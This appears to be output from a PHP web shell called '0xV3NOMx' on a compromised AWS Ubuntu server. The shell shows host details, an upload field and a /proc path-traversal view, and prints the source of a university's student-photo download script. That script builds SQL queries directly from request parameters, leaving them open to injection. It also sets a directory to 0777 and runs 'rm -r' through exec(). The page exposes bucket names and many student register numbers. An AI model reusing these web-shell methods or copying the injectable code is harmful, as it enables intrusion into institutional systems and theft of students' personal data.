0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.219.119.163


Current Path : /proc/thread-self/root/proc/thread-self/root/var/www/oasis/src/
Upload File :
Current File : //proc/thread-self/root/proc/thread-self/root/var/www/oasis/src/collegewisedownload.php

<?php

    require_once(_DIR_."/../aws/aws-autoloader.php");
    use Aws\S3\S3Client;
    use Aws\S3\Exception\S3Exception;

    function replaceChars($name){
        $spl_char = array("*","/","~","!","@","#","$","%","^","&",":",";","?","/","\\","_","-","'"," ","");
        $link_name = strtolower(str_replace($spl_char,"_",$name));
        return str_ireplace("__","_",$link_name);
    }

    function loadAllCollege($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $query = "select fcollcode, fcollname from college;";
        $result = $aobj_context->mobj_db->GetAll($query);  

        if($result){
            echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); 
        }else{
            $arr['msg'] = 'Failed to load';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
        }
    }


    function downloadConvoPhotos($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        ini_set('max_execution_time', '900');
        ini_set('memory_limit','1G');

        $collcode = $aobj_context->mobj_data['college']; 
        $regfrom = $aobj_context->mobj_data['regfrom']; 
        $regto = $aobj_context->mobj_data['regto']; 
        $funivcode = $_SESSION['FUNIVCODE'];

        if($funivcode === "051"){
            $sltSud="select fregno, fphotopath from student 
                 where fcollcode = '{$collcode}'
                 and fregno between '{$regfrom}' and '{$regto}' and ifnull(fphotopath,'') != '' 
                 order by fregno";
        }else if($funivcode === "052"){
            $sltSud="select fregno, fphotopath from dctran 
                 where fcollcode = '{$collcode}'
                 and fregno between '{$regfrom}' and '{$regto}' and ifnull(fphotopath,'') != '' 
                 order by fregno";
        }else if($funivcode === "055")
        {
            $sltSud="select fregno, FNEWPHOTOPATH as fphotopath from student 
                 where fcollcode = '{$collcode}'
                 and foregno in('23AIML6790',
                 '23AIML6794',
                 '23AIML6818',
                 '23AIML6841',
                 '23AIML6888',
                 '23AIML6915',
                 '23AIML6940',
                 '23AIML7182',
                 '23AIML7209',
                 '23AIML7217',
                 '23CSDS6598',
                 '23CSDS6751',
                 '23CSDS7322',
                 '23CSDS7380',
                 '23CSE6588',
                 '23CSE6591',
                 '23CSE6600',
                 '23CSE6601',
                 '23CSE6607',
                 '23CSE6612',
                 '23CSE6629',
                 '23CSE6651',
                 '23CSE6687',
                 '23CSE6704',
                 '23CSE6735',
                 '23CSE6742',
                 '23CSE6776',
                 '23CSE6814',
                 '23CSE6829',
                 '23CSE6845',
                 '23CSE6846',
                 '23CSE6868',
                 '23CSE6869',
                 '23CSE6895',
                 '23CSE6902',
                 '23CSE6917',
                 '23CSE6973',
                 '23CSE6976',
                 '23CSE6977',
                 '23CSE6983',
                 '23CSE6994',
                 '23CSE7003',
                 '23CSE7023',
                 '23CSE7042',
                 '23CSE7055',
                 '23CSE7059',
                 '23CSE7089',
                 '23CSE7130',
                 '23CSE7169',
                 '23CSE7238',
                 '23CSE7248',
                 '23CSE7256',
                 '23CVL6644',
                 '23CVL6905',
                 '23CVL7294',
                 '23CVL7306',
                 '23CVL7321',
                 '23ECE6619',
                 '23ECE6722',
                 '23ECE6746',
                 '23ECE6768',
                 '23ECE6830',
                 '23ECE6875',
                 '23ECE6999',
                 '23ECE7039',
                 '23ECE7073',
                 '23ECE7083',
                 '23ECE7097',
                 '23ECE7141',
                 '23ECE7160',
                 '23ECE7162',
                 '23ECE7241',
                 '23ECE7270',
                 '23ECE7300',
                 '23ECE7330',
                 '23EEE6614',
                 '23EEE6656',
                 '23EEE6748',
                 '23EEE6764',
                 '23EEE6812',
                 '23EEE6965',
                 '23EEE6985',
                 '23EEE7048',
                 '23EEE7258',
                 '23EEE7327',
                 '23ISE6627',
                 '23ISE6702',
                 '23ISE6708',
                 '23ISE6726',
                 '23ISE6733',
                 '23ISE6752',
                 '23ISE6773',
                 '23ISE6787',
                 '23ISE6806',
                 '23ISE6850',
                 '23ISE6857',
                 '23ISE6867',
                 '23ISE6884',
                 '23ISE6890',
                 '23ISE6904',
                 '23ISE7026',
                 '23ISE7032',
                 '23ISE7033',
                 '23ISE7064',
                 '23ISE7072',
                 '23ISE7074',
                 '23ISE7115',
                 '23ISE7138',
                 '23ISE7139',
                 '23ISE7184',
                 '23ISE7188',
                 '23ISE7200',
                 '23ISE7233',
                 '23ISE7236',
                 '23ISE7250',
                 '23ISE7255',
                 '23MECH6979',
                 '23MECH7237',
                 '23MECH7242') and ifnull(FNEWPHOTOPATH,'') != '' 
                 order by fregno";
        }
        else{
             $sltSud="select a.fregno, a.fphotopath from autodcstud a
                 where a.fcollcode = '{$collcode}'
                 and a.fregno between '{$regfrom}' and '{$regto}' and ifnull(a.fphotopath,'') != '' 
                 order by fregno";
        }   
        
        
        $resStud = $aobj_context->mobj_db->GetAll($sltSud); 

        $dateFormat = "select CONCAT(DAY(NOW()),MONTH(NOW()),YEAR(NOW()),HOUR(NOW())) as dateFormat ";
        $resDateFormat = $aobj_context->mobj_db->getRow($dateFormat);

        $destination = $aobj_context->main_src.'/'.$aobj_context->mobj_data["db"]."/tmpcnvphotos/".$collcode.$resDateFormat['dateFormat'].'/';

        // var_dump($destination);
        // die();
        $s3 = S3Client::factory(array(
			'credentials' => array(
				'key' => IAM_KEY,
				'secret' => IAM_SECRET
			),
			'version' => "latest",
			'region'  => 'ap-south-1'
		));

        foreach($resStud as $val){
            $photo_path = $val['fphotopath'];
            
            $file_name=replaceChars(basename($photo_path));
            if(!is_dir($destination)){
                mkdir($destination);
                chmod($destination, 0777);
            }
            $regno_index = $val['fregno'];
            $ext = pathinfo($file_name, PATHINFO_EXTENSION);
            $full_file_path= $destination.$regno_index.".jpg";

            $target_file = $full_file_path;
            
			if (file_exists( $target_file )) {
				$ifmodhdr = 'If-Modified-Since: '.date( "r", filemtime( $target_file ) )."\r\n";
			}
			else {
				$ifmodhdr = '';
			}

            try{
                if($funivcode !== "051" && $funivcode !== "055"){
				    $rc = $s3->getObject(['Bucket' => 'university-cnv-student-photos', 'Key' => $photo_path, 'SaveAs' => $target_file]);
                }else{
                    $rc = $s3->getObject(['Bucket' => 'university-student-photos', 'Key' => $funivcode."/".$photo_path, 'SaveAs' => $target_file]);
                }
			} catch(S3Exception $e) {
				$excepted = true;
			} finally {	
			}
            
        }

        $the_folder = $destination;
        
	    $zip_file_name = $aobj_context->mobj_data["db"]."/tmpcnvphotos/"."{$collcode}{$resDateFormat['dateFormat']}.zip";

        $download_file= true;
        $za = new FlxZipArchive;
        $res = $za->open($zip_file_name, ZipArchive::CREATE);

        if($res === TRUE) {
            $za->addDir($the_folder, basename($the_folder));
            $za->close();
        }else{
            echo 'Could not create a zip archive';
        }

        if($download_file){
            $command = "rm -r $desDirectry";
            $res = exec($command);
            ob_get_clean();
            header("Pragma: public");
            header("Expires: 0");
            header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
            header("Cache-Control: private", false);
            header("Content-Type: application/zip");
            header("Content-Disposition: attachment; filename=" . basename($zip_file_name) . ";" );
            header("Content-Transfer-Encoding: binary");
            header("Content-Length: " . filesize($zip_file_name));
            readfile($zip_file_name);
        }

        unlink($zip_file_name);
        unlink($destination);
    }

    class FlxZipArchive extends ZipArchive {
        public function addDir($location, $name) {
            $this->addDirDo($location, $name);
        } 
        private function addDirDo($location, $name) {
            $name .= '/';
            $location .= '/';

            $dir = opendir ($location);
            while ($file = readdir($dir)){
                if ($file == '.' || $file == '..') continue;
                // Rekursiv, If dir: FlxZipArchive::addDir(), else ::File();
                $do = (filetype( $location . $file) == 'dir') ? 'addDir' : 'addFile';
                $this->$do($location . $file, $name . $file);
            }
        } 
    }


?>